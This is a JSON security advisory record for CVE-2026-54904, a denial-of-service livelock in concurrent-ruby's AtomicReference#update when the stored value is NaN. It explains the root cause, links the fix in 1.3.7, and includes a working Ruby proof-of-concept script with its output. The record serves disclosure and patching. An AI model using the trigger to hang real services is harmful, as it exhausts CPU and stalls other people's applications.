{"id":"CVE-2026-54904","aliases":["GHSA-h8w8-99g7-qmvj"],"url":"https://o3.security/vulnerability/CVE-2026-54904","summary":"concurrent-ruby:  `AtomicReference#update` livelocks when the stored value is `Float::NAN`","details":"### Summary\n`Concurrent::AtomicReference#update` can enter a permanent busy retry loop when the current value is `Float::NAN`.\n\nThe issue is caused by the interaction between:\n- `AtomicReference#update`, which retries until `compare_and_set(old_value, new_value)` succeeds.\n- Numeric `compare_and_set`, which checks `old == old_value` before attempting the underlying atomic swap.\n- Ruby NaN semantics, where `Float::NAN == Float::NAN` is always `false`.\n\nAs a result, once an `AtomicReference` contains `Float::NAN`, calling `#update` repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an `AtomicReference`, this can cause CPU exhaustion or permanent request/job hangs.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n### Details\n\n`AtomicReference#update` retries until `compare_and_set` returns true:\n\n```ruby\ndef update\n  true until compare_and_set(old_value = get, new_value = yield(old_value))\n  new_value\nend\n```\n\nFor numeric expected values, `compare_and_set` uses numeric equality before attempting the underlying atomic compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n  if old_value.kind_of? Numeric\n    while true\n      old = get\n\n      return false unless old.kind_of? Numeric\n      return false unless old == old_value\n\n      result = _compare_and_set(old, new_value)\n      return result if result\n    end\n  else\n    _compare_and_set(old_value, new_value)\n  end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire 'concurrent/atomic/atomic_reference'\nrequire 'concurrent/version'\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n  ref.update do |_old_value|\n    attempts += 1\n    0.0\n  end\n  finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? && !finished && attempts > 1000\n  puts 'result=REPRODUCED busy retry loop; update did not complete'\nelse\n  puts 'result=NOT_REPRODUCED'\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n  control_attempts += 1\n  old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))","published":"2026-06-24T15:44:21.992Z","modified":"2026-08-12T03:51:30.975392601Z","cvss":null,"epss":{"score":0.00673,"percentile":0.50471,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"RubyGems","name":"concurrent-ruby","fixedVersion":"1.3.7"}],"fix":{"url":"https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386","label":"ruby-concurrency/concurrent-ruby@6e37e06"},"references":[{"type":"WEB","url":"https://github.com/ruby-concurrency/concurrent-ruby/releases/tag/v1.3.7"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54904.json"},{"type":"ADVISORY","url":"https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"},{"type":"ADVISORY","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54904.yml"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54904"},{"type":"FIX","url":"https://github.com/ruby-concurrency/concurrent-ruby/commit/6e37e0644b83b182971dc540d2e4bee38df61386"},{"type":"PACKAGE","url":"https://github.com/ruby-concurrency/concurrent-ruby"},{"type":"WEB","url":"https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54904"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:30.975392601Z"}}